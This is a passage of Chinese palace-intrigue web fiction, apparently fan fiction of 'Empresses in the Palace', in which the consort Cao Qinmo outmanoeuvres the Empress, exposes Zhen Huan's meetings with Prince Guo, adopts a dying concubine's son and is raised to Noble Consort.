索性找了太后私藏的秘药出来,正是受宠的瑜常在,方佳常在和甄官女子一人一份,想着能同时绝了三人的生育才好。 可她又有些畏手畏脚,没有了太后动起手来很不方便。一份秘药被分成了十次,藏在下午的糕点中被分配到三个人的宫里。 可惜成功进肚大半的只有瑜常在孙妙青。甄嬛有温实初,方佳常在看似是个不起眼的童心姑娘,其实身边的嬷嬷是方佳氏特意送来的人,这每日里的糕点根本没能进的了方佳淳意的嘴。 一直到启程回宫时,皇后还在计划对安陵容行挑拨之计。 本以为皇上会跟着她先回景仁宫以示中宫之位。没想到皇上连吩咐都没有吩咐一声,直接带着苏培盛去了储秀宫。 “你辛苦了,瑾嫔和婉贵人生产时的凶险朕都知道了,幸好有你在。” 人到中年方知道子嗣的重要性,从前只觉得保不住孩子的都是自己蠢,蠢货的孩子没有了也罢。可到了如今,膝下单薄的儿子数量叫皇上心里也是紧张的。 他家真的有皇位要继承啊! 如今立住的只有三四五三位阿哥。 三阿哥蠢笨,四阿哥出身卑贱还破了相,五阿哥调皮又不服管教。好在有孝淑和贤妃在,保下了六七八九十五位阿哥。 一连五位阿哥,总得有一位开了窍的吧! “臣妾也只是为皇上分忧罢了。若皇上记得臣妾有一分功劳,便给咱们温宜些赏赐吧。温宜是公主,今后到底是要出嫁的。虽得孝淑皇后的庇佑得了能嫁在京城的旨意。但底气足些,温宜的日子就更顺遂些。” 曹琴默抱着胖乎乎的温宜和弘晏看了又看摸了又摸。 皇上只是笑着看着母子三人胡闹,对曹琴默的话感慨有些深。 “朕的女儿,自然是最好的。” 曹琴默抿着唇笑,眼底是赞同的。但心里却是嗤笑。 若不是她殚精竭虑的为温宜铺路,皇上能觉得公主多重要呢? 单看咸福宫的淑和公主,两位额娘不努力,皇上也只是偶尔招来看看,一应待遇哪里赶得上她的宝贝温宜。 “好了,朕也看了十阿哥了,你和温宜弘晏先休息。朕去看看九阿哥和瑾嫔。” 送走了皇上,曹琴默拉着两个孩子看了眼新出炉的弟弟。 “咱们温宜和弘晏也大了,不若把给弟弟布置房间的任务交给你们二人可好?” 虽温宜是心尖,但曹琴默始终给孩子们立的是和睦相处的关系模样。 “好!弟弟,咱们一起。” 温宜拉着弘晏的小手,踮着脚再次往摇篮里看。 可惜刚才被抱着,现在两个小娃只能跳起来才能看到弟弟的脑袋。 好在地上都铺了毯子,孩子们不怕摔也没什么太大的动静。 “姐姐,弟弟喜不喜欢脑斧?” 温宜说话吐字很清晰,但是弘晏就差一些。太医也看了,说这是正常的,三四岁就能好。 温宜很爱跟弘晏聊天,每次都会把自己逗的嘎嘎笑。 弘晏也不觉得温宜是在嘲笑他,并且下意识的会迎着温宜的笑意自己呲着小米牙也跟着乐。 “喜欢,弟弟肯定喜欢脑斧。” 温宜咧着嘴,用一双小胖手盖住自己快要喷涌而出的笑声。 “好了,弟弟睡着呢,你们两个也快去跟着姑姑洗一洗,休息会儿。” 颂青和秋白已经被曹琴默给了孩子们,她身边有芊葵和冬霜就够了。温宜那里可不能马虎了。 曹琴默整理着孩子们这几个月添置的物件,芊葵迈着急匆匆的脚步走了进来:“娘娘,皇后娘娘到了钟粹宫了。” 她捧着一个纯金的小老虎笑了笑,放在了弘晏专属的小盒子里:“皇后惯爱做老好人,怕是安慰婉贵人不要因着孩子被抱给了本宫便郁郁寡欢吧。” 芊葵撇了撇嘴,她们家在宫里虽算不上说的上话的家族,但也是深耕了百年了。 这么小家子气又没脑子的皇后还是第一次见。真是开了眼了。 “好了,随她去吧。总以为自己施点小恩小惠便能拉拢家世不显的人,且由着她作弄。对了,甄官女子和果郡王可有实际的把柄?” 说到这里,冬霜就来了精神。 “自然是有的,甄官女子一晚无心睡眠跑到后湖划船,居然就登了果郡王的船。两人说什么不得而知,不过,甄嬛身上的荷包自下船就不见了踪影。” 曹琴默笑了笑:“那火候是差不多了。” 第186 章 曹琴默44 “怎么这个时候过来了?虽入了秋,日头还是晒着。” 皇上看到曹琴默带着温宜和弘晏,起身从龙椅上下来,带着三人坐到了偏殿的软榻上。 “天儿正好呢,两个孩子在宫里也是闲不住,总是念叨着出去玩儿。臣妾想着他们也休息够了,帮着约了淑和,弘昔和弘杳他们一起去玩儿呢。” 皇上看了眼三人利索的穿着和曹琴默的平底绣花鞋笑着点了点头:“你素日里忙着处理宫务,又要照看十阿哥,朕把高无庸给你用着,也省的你要操心三个孩子费神。” 虽然秋高,但下午的余温还是有些灼人的,曹琴默捏着一柄绣了双兔抢萝卜的团扇轻轻摇了摇,看了眼巴巴的睁着大眼睛等着她的两个孩子笑意藏都藏不住:“那臣妾就多谢皇上割爱了。有高公公在,臣妾是真的踏实。” 眼瞧着孩子们有些坐不住了,曹琴默起身,顺便把芊葵手里的两本账簿和记事簿放到了皇上桌子上。 “这还有大半月左右的时间都到了颁金节,到底是感恩祖先的福泽,赶巧了皇后娘娘的身子渐好,能为皇上分忧了。” 迎着曹琴默善解人意的眼神,皇上的表情带了一半遗憾一半满意:“嗯,你做的很好。” “皇上怎么说,臣妾就怎么做,皇上这是夸自己育人有方呢。” 皇上把手里刚拿出来的一串紫翡的串子拍到了曹琴默手里:“说的好,朕就是这个意思。” 说着,自己也笑了起来。 “许是圆明园那里的管事送错了地方,这账簿和记事簿送到了臣妾的储秀宫。去年臣妾稍作整顿,今年想来是整理得当的。臣妾便偷个懒,带温宜和弘晏去乐呵一下午,这账簿啊,就给皇上瞧吧。” 到底今年曹琴默并没有去圆明园,为了表示自己绝不会越俎代庖,也从未有觊觎权利之心。当然了,最重要的是,这记事簿里,可有她看不得的东西。 “到底是你心细些,去年的一应开销和人员出入毫无疏漏瞧着也干净。罢了,你带着孩子们去玩儿吧,朕自己瞧瞧。” 皇上说小心眼吧,他的血滴子明明有人可用,但后宫却并没有完全掌握在自己手里。 说他心眼子大吧,这账本子你若是不给他瞧,他可是不乐意的。 曹琴默深知皇上的狗脾气,在第一次去圆明园的时候就借着皇上的手做了一些些的规定。倒没有影响到大部分宫人的利益,多增加了统筹和记录的活儿,并且另有赏赐。 只要钱到位了,宫人们干活的热情自然不需要鸡汤浇灌。 曹琴默带着温宜和弘晏,芊葵等人手里还拎着养心殿专属的食盒,一行人溜溜达达的,边走边晃,路过启祥宫时多了丽嫔和弘杳。 再往后走,便是敬嫔的咸福宫,敬嫔和欣贵人,带着淑和和弘昔正站在外头等着呢。 “贤妃姐姐来了,这弘昔都要去养心殿抢人去了。” 虽然淑和和弘昔都记在了敬嫔名下,但两人住在一宫里,敬嫔又不是什么磋磨人的性子,四口人倒是过的有滋有味的。 “弟弟,快来看我带了什么!” 弘晏还挺喜欢跟弘昔玩的,因为弘昔有个姐姐,所以会和弘晏一起无脑夸姐姐。 四个大人落在后头,说说笑笑的正走着,就听到身后有熟悉的声音传来:“好啊你们,一起玩儿也不叫我们。” 齐妃带着方佳常在也拎着食盒凑了上来。 “哪能是不叫姐姐,不是怕姐姐惦记着三贝勒福晋的肚子,没心情来嘛。” “是惦记,前几日也不知是吃错了还是着了风,一个劲儿的吐,弘时都吓坏了。还好妹妹你把江城借了过去,这几日倒是缓了过来。” 齐妃说着,捂着胸口似是还有些害怕。一旁的方佳常在也不如以往活泼,皱巴着小脸也没有再凑到孩子们堆里去玩闹。 曹琴默敏锐的察觉到方佳常在身旁的嬷嬷的紧张,心里头有了计较。 安陵容在储秀宫听到了大家的笑声,看了眼摇篮里睡的正香的弘景,也翘着嘴角,继续着手里的活计。 贤妃姐姐人好,允她随时都可以来看孩子。有时候福慧公主和弘晏闹腾了,带着孩子们出去的同时,便会叫自己来陪儿子。 自觉身无长物无法报答这份恩情的安陵容,便只能尽自己所学,不论是香料还是衣裳,都被她包圆了。 曹琴默也从不跟她客气,只是叮嘱她一定要注意眼睛。 这份有来有往的相处,叫安陵容十分的舒适。 这边玩的热闹,而养心殿里的气氛却是十分的压抑。 苏培盛的脑子左转右转,把圆明园的每一日都细心的过了一遍,没察觉出有什么不对啊?怎么皇上拿了账簿和记事簿后就这般表情? “真是好啊。” 皇上这般轻飘飘的感慨更是叫苏培盛双腿发软。 他在心里头一个劲儿的骂自己‘死脑子,快想啊!圆明园到底有什么啊!’ 可惜苏培盛跟他主子一样,是个非常自信后宫不会出大乱子所以关注力不高的。 “苏培盛,过来。” 苏培盛扶了扶自己的帽子,深吸口气凑到皇上跟前。 “把这上头的人找来,悄悄的。” 皇上敲了敲桌子上册子里的几个名字,苏培盛打眼一瞧便退了出去。 多余的一个字儿都不敢看。 被带进宫的几个人都是皇后的人手,只是皇后太小气了,又想叫奴才干活,又不想付出太多的银钱。 这才叫曹琴默轻易策反了几人。许了大量的安置费,几个人对遇到甄嬛和果郡王一事供认不讳。 这般不可重复使用的人力,还是用皇后的吧!毕竟自己人自己心疼,还能削弱皇后的势力,何乐而不为呢? “这么说你们是知情不报?” 皇上压着怒气,目光沉沉的看着底下的几个宫人。 “回皇上的话,奴才们上报了。去年皇上就给安排了规矩,若是有事,由奴才口述转给会写字会记录的公公,按上手印由公公报上去。 因着皇上说,下头的奴才们多,怕一传十十传百的,用些闲话和流言糊弄主子。所以才叫咱们摁了手印。奴才确实报给了全柱公公。” 这法子是曹琴默随口说出来的,当时他觉得不错便推行了下去,曹琴默也不居功,所以有皇上的名头在,好些事做的十分顺利。 皇上看了一眼苏培盛,苏培盛立刻退下把全柱带了上来。 全柱是圆明园的负责统筹太监的管事,也是皇后的人。 不过他克扣底下的小太监太狠了,还会强迫有些姿色的宫女,所以这次背了这黑锅,也是所有底层宫人的反抗。 苏培盛在全柱的屋子里找到了这位小太监说的记录,一共六张,有五位不同的太监摁了手印。 字迹也是全柱的字迹,全柱这次,是跳进黄河也解释不清了。 “拖出去,杖毙。” 这样欺上瞒下的太监不杀了留着添堵吗?皇上可没有这个爱好。 其余人到底是见证了自己的女人和自己的弟弟相处的,不过好在没有打算隐瞒,皇上也只叫他们自尽。 对于自卖进宫,家里穷的揭不开锅的几人来说,这已经是最好的死法了。 家里得了二百两银子,省着些用,够十来年的嚼头了。 已经入了夜,紫禁城都安静了下来,然而苏培盛还是战战兢兢的跪在地上,连呼吸都是小心翼翼的。 “把甄氏带来。” 皇上压着气,冷声开口。不能这个时间叫果郡王进宫,保不齐明儿就有什么流言蜚语。贤妃为着颁金节不叫他难做交出了宫权,皇后又不是个得用的,还是不要节外生枝了。 第187 章 曹琴默45 “婢妾给皇上请安,皇上万福金安。” 甄嬛已经入睡了,虽然从圆明园的大床回到延禧宫和沈眉庄挤在一起的小床还不太适应,但毕竟是好姐妹,说了一天的话也是累人的紧。 这黑漆麻糊的被皇上召来,心里头不知道怎么回事,有些不安。 她就那么蹲在地上,半晌都没有听到皇上叫起。 甄嬛悄悄抬了抬眼,正好对上皇上黑漆漆的眸子。 惊的她另一条腿迅速跪下:“皇上恕罪,婢妾不是有意冒犯。” 皇上就这么看着她:“甄氏,你有没有瞒着朕什么事?” 偏殿太安静了,连烛火的噼啪声都没有,甄嬛能听到自己咚咚咚的心跳。 她咽了咽口水,湿润了自己干涸的嗓子,尽力维持着与往常无二致的音色:“怎会?婢妾全身心交付于皇上,毫无隐瞒。” 皇上点了点头,没说信也没说不信。 “秀色掩古今,荷花羞玉颜。” 甄嬛听到这句诗的时候心就开始下沉,她不明白为什么皇上好似明明什么都知道,却在园子里的时候却不加以制止。反而在她和果郡王谈天说地,彼此交心视为知己后,才这般问责。 不过,甄嬛转念一想,这也可能是园子里的宫人只是瞧见了一眼,所以皇上现在才知道未有什么证据罢了。 思及此,甄嬛不着痕迹的吐出一口浊气,斟酌了语气和言语道:“请皇上恕罪,婢妾却有一事隐瞒。” 皇上眉头微微动了一下,眼神里带了三分嘲讽之意:“是何事?” “婢妾在园中曾遇到一位手持长箫的男子,因着是外男,婢妾并未注意其穿着和身份。 只是听闻其箫声似是含着思亲之意,便驻足听了一会儿。这位男子自称果郡王,在后湖边吹箫是想念其额娘。婢妾进宫许久,也有所同感,这才多言说了两句。 皇上容禀,自进宫后婢妾只能许久与家人通信一封,十分思念家中亲人,这才有误本分,请皇上责罚。” 皇上没有说话,只是把手里拿着的本子扔到甄嬛眼前。 甄嬛只觉得情形并不如自己所想,便忍着惊慌看向敞开的页面。 瞧着上头清清楚楚的记录着她和果郡王见面的时间,谈话,衣着,地点。事无巨细,甚至下头还有当天值班的宫人的手印。 甄嬛闭了闭眼,并不想认命。 可惜这绿帽子一事,在皇上对其没有真感情时,是听不得辩解的。 “看在你这张脸的份上,朕饶你一命。” 皇上的声音阴沉沉的从甄嬛头顶响起,打断了甄嬛还未说出口的话。 只是这言语之意,叫甄嬛不敢深思。 “你以为,若是没有你这张脸,果郡王会和你多说一句话吗?” 皇上没有陷入到恋爱脑时,其内心是无比的清醒。 他的这位十七弟不说是在美人堆里长大的,见过的美人也是数不胜数。 单是他所知的清凉台,里头就养了不少被他‘救助’的美貌女子。 难道这世道艰难的只有美貌的女子吗?不是,是十七弟只救助貌美之人罢了。 而甄嬛此人,论容貌在他这后宫并不算拔尖。 当初的孝淑如何?满蒙八旗都不及世兰五分风华,怎的不见老十七冒犯? 不过是觉得甄嬛的容貌有利可图罢了。 甄嬛却满受打击,她以为自己和果郡王心意相通是志同道合的莫逆之交,难不成,这一切的巧合和相遇,全都是算计吗? “这时候了,你满脑子还是自己的情情爱爱,难不成,甄氏,你的甄家都不重要了吗?” 皇上自认为在纯元一事上确实像个糊涂蛋一样,但是他是有依仗的。其一是爱新觉罗氏不杀子,其二是当初形势不佳,先帝也不会因为女色这一个小问题就否定了他的一切。 而现在,甄氏有什么依仗呢?他想不通。 “皇上,一切都是婢妾的错,婢妾认罚,请皇上宽恕婢妾的家人。” 回过神,甄嬛其实知道自己犯的错有多大的。 她哭着跪爬到皇上脚边,抱着皇上的靴子为家人求情。 皇上手持着一柄折扇,挑起甄嬛的下巴。 “朕留你这条命是因为你这张脸,但你做出如此不知廉耻之事,祸及家人,他们是逃不脱的。” 不等甄嬛继续哭求,皇上松开扇子任由它掉在地上:“朕会罚他们流放宁古塔,但不必与披甲人为奴。你在宫中若是安安分分的,他们就会好过些。” 皇上到底是舍不得这张脸的,如今连世兰也不在了,这双如纯元般的眸子,在如今的情况下,皇上还是能解一解相思之苦的。 甄嬛在养心殿的龙床下一跪就是一夜,第二日皇上上朝后,崔槿汐才得以进来扶着甄嬛回到延禧宫。 看着毫无生气的好妹妹,沈眉庄一脸焦急:“嬛儿!嬛儿你怎么了?” 甄嬛没有回答,反而看向崔槿汐:“你在宫里的时间久,你告诉我,我的这张脸,到底像谁?” 沈眉庄的手蓦然垂下,不可置信的看向崔槿汐。 崔槿汐听到这话,再加上今日甄嬛的状态,便知道情况了。 “姑姑,您跟已故的纯元皇后,有五分相像。” 在崔槿汐看来,像纯元皇后有什么不好呢?只要能得宠就好。 可惜甄嬛却不这么认为,她已经没有了眼泪,干巴巴的坐在那里,任由沈眉庄搂着。 她并没有说出是因着自己和果郡王私交甚密的缘由,才被皇上这般教训。 这也就导致了沈眉庄接受的信息有误差,对皇上的恨意和厌恶再次加深不说,对温柔体贴的温实初,也更为爱慕。 为今后株连了温氏一族,和再一次牵连沈氏女的名声打下了坚实的基础。 而与此同时,果郡王在养心殿坐了半晌后回到府中。被皇上以‘不忠不孝,在太后的孝期未尽于女色上混乱,’为由下达圣旨。 一封圣旨,果郡王变成了十七贝子。并送到了年羹尧手下,怕是永无回京之日了。 皇上一向对待兄弟们都不算好,大家也理解,毕竟当初为了这个位置打的头破血流的,谁也看谁不顺眼。 而这些本就上不得桌的弟弟,皇上虽然小心眼没给安排什么重要的职位,但到底都好吃好喝的养着。 如今这位出自摆夷族的十七贝子也不知道犯了什么忌讳,被皇上这般斥责,不孝一词扣在头上,十七贝子这辈子就到头了。 说是太后孝期胡闹大家是不信的,就算是敦亲王这般没脑子的草包,也干不出来这种光明正大被抓住的事。 不过既然让皇上用这个理由贬斥,必定不是什么见得人的错,大家对此默契的闭口不提。 而一向以爱慕果郡王为由的沛国公府之女孟静娴,也利索的找了个门下三品文官嫁了过去。 曹琴默虽然不知道养心殿里皇上怎么处置的甄嬛,但前朝甄远道以勾结宗人府罪人允禩为由流放宁古塔一事她还是知道的。 既然甄嬛留了性命,甄家流放。那就说明她布的局按照规划的轨道走到了该去的站台。 她剪下花瓶里一支不合群的木芙蓉笑了笑:“好了,这样好看多了。等花落了,本宫再插一瓶新的。” 第188 章 曹琴默46 从来只道‘以色事他人’,如今方才了解自己才是凭着一张肖似纯元皇后的脸,才能以与宫女无异的官女子身份,恩宠压倒一众宫妃小主,甄嬛为此很是颓废了一阵子。 但皇上现在可没有心思哄一个单纯的赝品开心,日常里照旧随着心意宣召。 拉拉着脸企图用自己‘心死如灰’的表情来宣泄心中不满时,就听到皇上下旨,宁古塔苦寒,甄远道身为罪臣,需得每日劳作满五个时辰,才可领当日的吃食。 甄嬛咬了咬唇,知道这是皇上在警告自己。 她深吸口气,再睁开眼时,便还是那个知情识趣,温柔体贴的甄官女子。 皇上很享受甄嬛的温柔小意,有时候背对着朦胧的月色,好似看到了纯元一般。 即便是只有五分相似,也足够皇上用来缅怀真爱。 为了方便随时召幸,也因着果郡王一事皇上已经定位了甄嬛只是他其中‘玩意儿’中的一员,索性把人放到了养心殿后罩房里,彻底沦为了‘以色侍人’的暖床婢。 这消息算不得什么皇上的行踪,甄嬛搬家的动静虽然不大,但身为眼线满宫的贤妃,曹琴默自然是清楚的知道的。 “如今可是皇后当家,叫咱们的人都小心些,可‘别’弄出什么乱子,叫皇上徒增烦忧。” 她主动让出宫权是‘懂事’,但皇后能不能握的住完全回手的中宫权利,就是皇后的本事了。 “是,颁金节可是大事,奴才们都小心着呢。” 进喜眼珠子一转,脸上却仍旧是那副老实敦厚的模样。 “娘娘,方佳常在来了。” 芊葵禀报时,曹琴默正在练习烹茶,静息凝神倒是十分适合谋划下一步的动作。 “妹妹来了,快坐下。” 没人看到曹琴默低垂着头时眼睛里闪过的算计,只见到她脸上温婉和煦的笑容便觉得如沐春风。 “贤姐姐,嫔妾有孕了。” 意料之中的事情,那日在御花园里曹琴默就窥得其主仆的脸色猜出了一二。 她脸上露出恰到好处的惊讶和喜意,似是真的为这个小妹妹感到开心。 “恭喜妹妹了,可是跟皇上说了?” 方佳常在摇了摇头,她做出一副烦恼又不知如何是好的表情蹭到曹琴默身边。 “还没有呢,我只是看着姐姐们有娃娃觉得很有意思,可是我自己有了身孕,总有些不安。” 曹琴默顺着她的意思虚虚的搂住方佳常在的肩膀安慰道:“你年纪小些,又是爱玩爱闹的时候,突然做了额娘有些不适应也是正常的。齐姐姐和本宫都是做额娘的人,且年长你几岁,若是有什么不痛快的,便只管跟我们说一说。” 方佳常在抬起头,一脸单纯天真的模样:“贤姐姐真好,若是当初分宫殿时,我跟贤姐姐住一起就好了。” 曹琴默的嘴角越发上扬,眼神里的温和似是温泉里水一般瞧着就叫人放下戒备。 她轻轻点了点方佳常在的额头,似是并未察觉到她的意图:“你呀,也就在本宫这里说说便罢了。若是被齐姐姐知道了,少不得要扣了你的肘子。” 方佳常在眼神闪了闪,跟着笑闹了起来:“我错了贤姐姐,您可千万不要跟齐姐姐说。我只是初次有孕有些不安罢了。贤姐姐体贴,像我家中的嫂嫂,我才这般口无遮拦的。” “好了好了,都是要做额娘的人了。动静可得小些,这头几个月正是危险的时候,可不能做太大的动作。” 说着,曹琴默看向方佳常在身后的嬷嬷:“看好你们家小主,她还年轻不知事,这日常的吃喝和穿戴都得谨慎着些。” 嬷嬷恭敬的应了是,再抬头时跟自家主子恰好错开了眼,脸上仍旧是端着老好人的样子。 一直缠磨到了酉时,皇上亲自送了温宜和弘晏回来。 看着坐在曹琴默身旁的方佳常在有些意外。 “你怎么过来了?” 曹琴默只是笑着拉过两个孩子,自然的拿起手里干净的布巾给他们擦手擦脸。 “嫔妾有了身孕,心里头有些不知道该怎么办了,便来找贤妃姐姐说说话。” 皇上坐在曹琴默的位子上有些惊喜的看了一眼方佳常在的肚子。 “哦?几个月了?” “回皇上的话,有快三个月了呢。若不是嬷嬷觉得嫔妾这阵子实在吃的有些多,怕是还不知道呢!” 这番有些孩子气的话皇上听闻也只是笑了笑。方佳氏初能侍寝时,倒是稀罕了一阵子这般心性。 如今瞧着也有些腻味了。进宫时日不短,又是后宫里的嫔妃,一直这般长不大的作态倒有些过于虚假。 “嗯,你有了身子是喜事,朕便晋你为贵人,好好养着吧。” “多谢皇上!” 方佳常在笑的倒是真切,皇上这段时日总是看着甄嬛那一张脸,也属实有些厌了。换个口味洗洗眼睛, 倒是松快的很。 “瞧皇上喜的都忘了用膳了。” 曹琴默带着两个孩子梳洗了一下,又抱着吃饱了正在四处看的弘景出来。 弘景就是十阿哥,满月并没有大办,因着比他大半个月的九阿哥弘昕办的格外隆重些。毕竟是富察氏的儿子,马奇这个老家伙不知道怎么,又突然关心起了后辈,这才大办了一场。 “呀,弘景醒着啊!” 方佳常在自然的又去弘景身边,拿起一个布老虎晃了晃。 曹琴默也没有说什么,只是用一种慈爱的眼神看着她。 皇上见状便也只是挑了挑眉。 “快来用膳了妹妹,你有了身孕,本宫特意叫来了江太医。” 江城如今只负责储秀宫和安陵容,皇上也不管,只要是能跟年世兰挨上些边的,他都格外宽容些。 “娘娘这马齿觅虽有一定的药用价值,但并不适合有孕的妇人。” 这桌子本来就不是给方佳氏准备的,自然有些她不能吃的东西。 “那便撤下去吧,到底如今月份小,怎么小心都是不为过的。” 皇上亲手给曹琴默夹了一筷子珍珠海米煨鹌鹑:“别总操心别人,你也用些。” 方佳常在吃着一块烧羊肉,还偷偷的笑了笑。 “用着膳便这么开心?” 方佳常在过于显眼的表现叫皇上有些不适,总觉得自己坐在上位和曹琴默一起像方佳氏的父母亲了。 “嫔妾是瞧着皇上和贤妃姐姐举案齐眉的样子,和家里的哥哥和嫂嫂很像呢。” 曹琴默有一瞬间的羞涩,随即又带了些慌乱的说道:“好了快用你的。” 皇上拍了拍曹琴默的手,示意她安心。 好不容易打发走了方佳常在,曹琴默伺候着皇上脱外袍时说道:“皇上,方佳常在只是心性还有些稚嫩,说话并未深思。臣妾也万万没有僭越之心。举案齐眉一词,臣妾是万万不敢当的。 臣妾知道皇上心里头是万分尊重且爱护皇后娘娘的。” 曹琴默并未具体说是哪个皇后,皇上自动带入纯元和孝淑,心下越发满意曹琴默的懂事。 “朕知道。方佳氏口无遮拦惯了,不必理会。” 又想着方佳氏今日的表现,皇上不经意的说道:“你细心,方佳氏又愿意跟你凑一起,不若朕把她迁到你这里可好?” 曹琴默有些歉意的看了眼皇上:“皇上,臣妾这里有三个孩子了。虽说温宜和弘晏都大了,但做父母的,即便孩子三十而立又怎样,也是日日操心着。 更何况齐姐姐是生育过三贝勒的,三贝勒如今健康英勇与齐姐姐的照顾分不开。方佳常在只是瞧着臣妾这里热闹才来说说话罢了,又是初初有孕,擅自挪动会不会不好?” 皇上听罢心念一转,知道今日事是方佳氏自作主张后,对其的不满也慢慢升起。 齐妃虽然为人蠢笨了些,但到底不是个坏的。方佳氏在长春宫多得齐妃的照顾。一朝有孕便想着另找个靠山,真真是心大了。 又看了眼即便看穿了方佳氏的用意也并未生气的曹琴默,这就是完完全全立在他眼里完美的宫妃的样子。除了家世,样样都拿的出手。不愧是当年在后院,世兰防备心那样重时,还能与之交好的人。 第189 章 曹琴默47 万籁俱寂时,曹琴默闭着眼睛在心里头嘲笑方佳贵人的天真。 她和她身边那个嬷嬷眼里的算计自以为藏的很好,但言语里的表现却是蠢透了。 初入宫时天真无邪的人设还算吃香,但已经几年了,不仅侍寝还在得宠和不得宠之间不停的徘徊许久,再天真的孩子也会被磨练成满身的心眼子。 不停的成长才是面对皇上最好的姿态。方佳氏不算蠢,但那点小聪明却上不得什么台面。 今日无非是想要利用她曹琴默来保胎,可以的话搬进她这个有一位固伦公主和两位阿哥的储秀宫。要比在齐妃的长春宫,得以面见天颜的机会多的多。 ‘真是可惜呀。’曹琴默在黑暗中不着痕迹的勾了勾嘴角。本来是一个可以给她刷能力时保下命的机会的,但现在她改变主意了。这般聪明又算计不到地方的人,即便是活着,她温宜能享受到的好处可能也不多。 既然如此,便交给皇后吧。方佳氏认为自己聪明,掩饰着算计,那就真正面对一下这个吃人的后宫吧。 方佳氏是满军旗,其长姐乃是履郡王允祹的侧福晋,虽说两人的阿玛只是四品典卫方文彬,但只履郡王侧福晋这一个名头,就是皇后大为忌惮的对象了。 更别提身为满军旗,若是得了一个阿哥,那简直是如同拿针尖戳皇后的心窝子。已经失手了一个富察氏的瑾嫔,皇后是不许自己在失手于方佳氏的。 曹琴默收回了对方佳贵人的照顾,也不着痕迹的在齐妃那里给她上了眼药。如今的方佳贵人,才是真真正正的孤立无援。 稍作一点点拨,方佳贵人便更为依赖贤妃。 皇后这里手段频出,她再一次关在宫里写了一百张忍字后,才从各种失手里回过神。 “叫章弥给各宫嫔妃都瞧瞧,本宫倒是走了眼了,方佳氏瞧着天真无邪的样子,居然跟瑾嫔那装傻充愣的套路有异曲同工之妙。” 圆明园里的秘药明明是都下了的,可方佳氏仍旧有了身孕,这怎么能不叫皇后着急。 不过皇后也只是得到瑜常在成功中招而已,毕竟甄嬛现在到了养心殿的罩房里,并不归后宫嫔妃的范畴。 颁金节过的很热闹,皇后自被皇上批判小家子气后,在席面上很是舍得下功夫,却没想到宴请宗亲大臣时全部用了刻有龙凤纹的金碗。 单是这一项,就超出了以往颁金节两万两银子。 皇上拿到账单后差点没背过气去。 尤其是开了这个头,今后的席面若是降了规格更是难听。 一气之下,皇上再次夺了皇后的宫权给了曹琴默,而后又小抄了乌拉那拉府,算是半补全了这次的超支。 曹琴默也没想到皇后这么不争气,她只是叫人在剪秋抽查餐具时多放了几个黄玉碗碟罢了。没想到戳到了皇后的肺管子。许是想到了曾经不受先帝待见的自己,一气之下出了昏招。 有宫权在手,皇后的几次手段都被她挡住了大部分,好歹保着方佳贵人平安到了生产时。 她从不做默默付出的好人,只叫方佳贵人的防备心日渐消散,已然是拿她当了家中姐姐般相处着。 只是生产时又尤为艰难,她长姐也不过是个侧福晋,允祹虽然是苏麻喇姑照顾长大的,但手里能用的人手还真没几个。 方佳氏生产时用了四个接生嬷嬷,有三个都是皇后安排的人。只有万能的李嬷嬷,淡定的看完了所有阴谋诡计后,顺利接生下一个胖乎乎的小阿哥。 还未等皇上开心一会儿,里头传来叫喊声“方佳贵人血崩了。” 临终前,方佳氏看着其中一个嬷嬷恨的咬牙,可她感受到自己生命的流逝,不得不撑着意志为自己儿子打算。 “皇上,嫔妾好疼啊。” 总说会哭的孩子有糖吃,方佳贵人深谙此道。 即便是见多了因生产而失了生命的妇人,皇上也被方佳贵人这一声喊的有些心酸。 “莫怕,太医一定会救你的。” 曹琴默站在皇上身后,只是紧张又担忧的看着方佳贵人,并未多言。 方佳氏看了一圈,她的视线已经有些模糊了。 “皇上,齐姐姐刚得了孙孙正是开心的时候,这孩子,这孩子便给贤姐姐抚养好不好?贤姐姐的温宜和弘晏,还有弘景都好健康,嫔妾也想,也想小十一健健康康的。” 皇上看了眼方佳贵人,对其心里的算计看的很清楚。 因为贤妃只要福慧一个孩子,所以其名下没有阿哥。方佳氏这是想让自己的孩子也这般被照顾着。 皇上倒是信任曹琴默,但总觉得对曹琴默并不公平。 “说什么傻话,小十一还等着你照顾呢。” 曹琴默适时开口,表明自己没有把十一阿哥记在自己名下的意思。 方佳氏眼睛睁大了一分,她等的就是贤妃的这话。 “皇上,好不好?” 使尽全力拉了拉皇上的袖子,皇上点了点头:“依你。” 曹琴默当着方佳氏的面接过十一阿哥,弯腰凑到方佳贵人面前:“瞧咱们十一长的跟额娘多像,本宫身为养母,虽无法代替生母,但定不会叫十一受委屈的。” 方佳贵人得了曹琴默的允诺,深深的看了一眼儿子便撒手人寰。 被捆住的接生嬷嬷到底被苏培盛顺着身家查了下去,手段其实很粗糙的皇后,手里乌拉那拉的族人能用的又不多,自然没能藏好自己的尾巴。 在追封了方佳氏为妃,谥号慧后,皇上便着手整理了皇后多年来打胎的证据。 曹琴默提前弄走了江福海,就是想要隐瞒纯元的死因。她给了皇上那么多皇后打胎的证据,在没有太后的掩护下,死生不复相见的结局便可提前达成。 若是挑破了纯元的死因,废后是板上钉钉。但若是皇上心血来潮另立皇后呢?她所做的事效果就都会打了折扣。 但若是留着太后等那封乌拉那拉氏不可废后的懿旨呢?这情况下她也不可能一连抚养这么多阿哥,太后心里只有乌拉那拉氏,才不会允许她这样出挑的存在。 所以两相掣肘的情况下,曹琴默选择用满宫的皇子,换皇后的‘死生不复相见’结局。 事情也果然如曹琴默预料一般,皇后搬出了纯元皇后后,皇上思索许久还是留下了皇后的后位。 “朕会留你在后位上,但你的凤印和中宫权利朕会全部收回。你永远是当朝的皇后,仅此而已。今后,你就在你的景仁宫,永不得出。朕与你死生不复相见。” 尘埃落定,曹琴默舒了口气,看着熟睡的十一阿哥笑了笑。 两位满军旗的阿哥了,够了。今后的嫔妃也算是赶上好时候,能在她维护权柄下得以平安的生产了。 第190 章 曹琴默48 后宫无主,曹琴默又是唯一养育着三位阿哥的妃位,皇上经过一段时间不算纠结的思考,再加上血滴子传来曹家的消息仍旧如往常那般‘不思进取’,心里头有了决断。 严寒已过,暖春将至。 “奉天承运皇帝诏曰:朕惟内治之端,首重宫闱之范;化理之始,务资淑慎之贤。曹氏,正红旗,涿州州同曹轩之女,性行温良,端庄恭谨。自入掖庭,恪遵妇道,婉顺有仪,柔嘉维则。每念其克勤克俭,常昭贤德之徽;且能敬慎自持,益显温恭之度。 今朕特晋封曹氏为贤贵妃,以彰恩宠,以昭令范。望尔此后,益加恭顺,佐中宫之化理,助朕躬之治平。 所有应行典礼,着礼部详察旧例,悉心妥办。 布告中外,咸使闻知。” 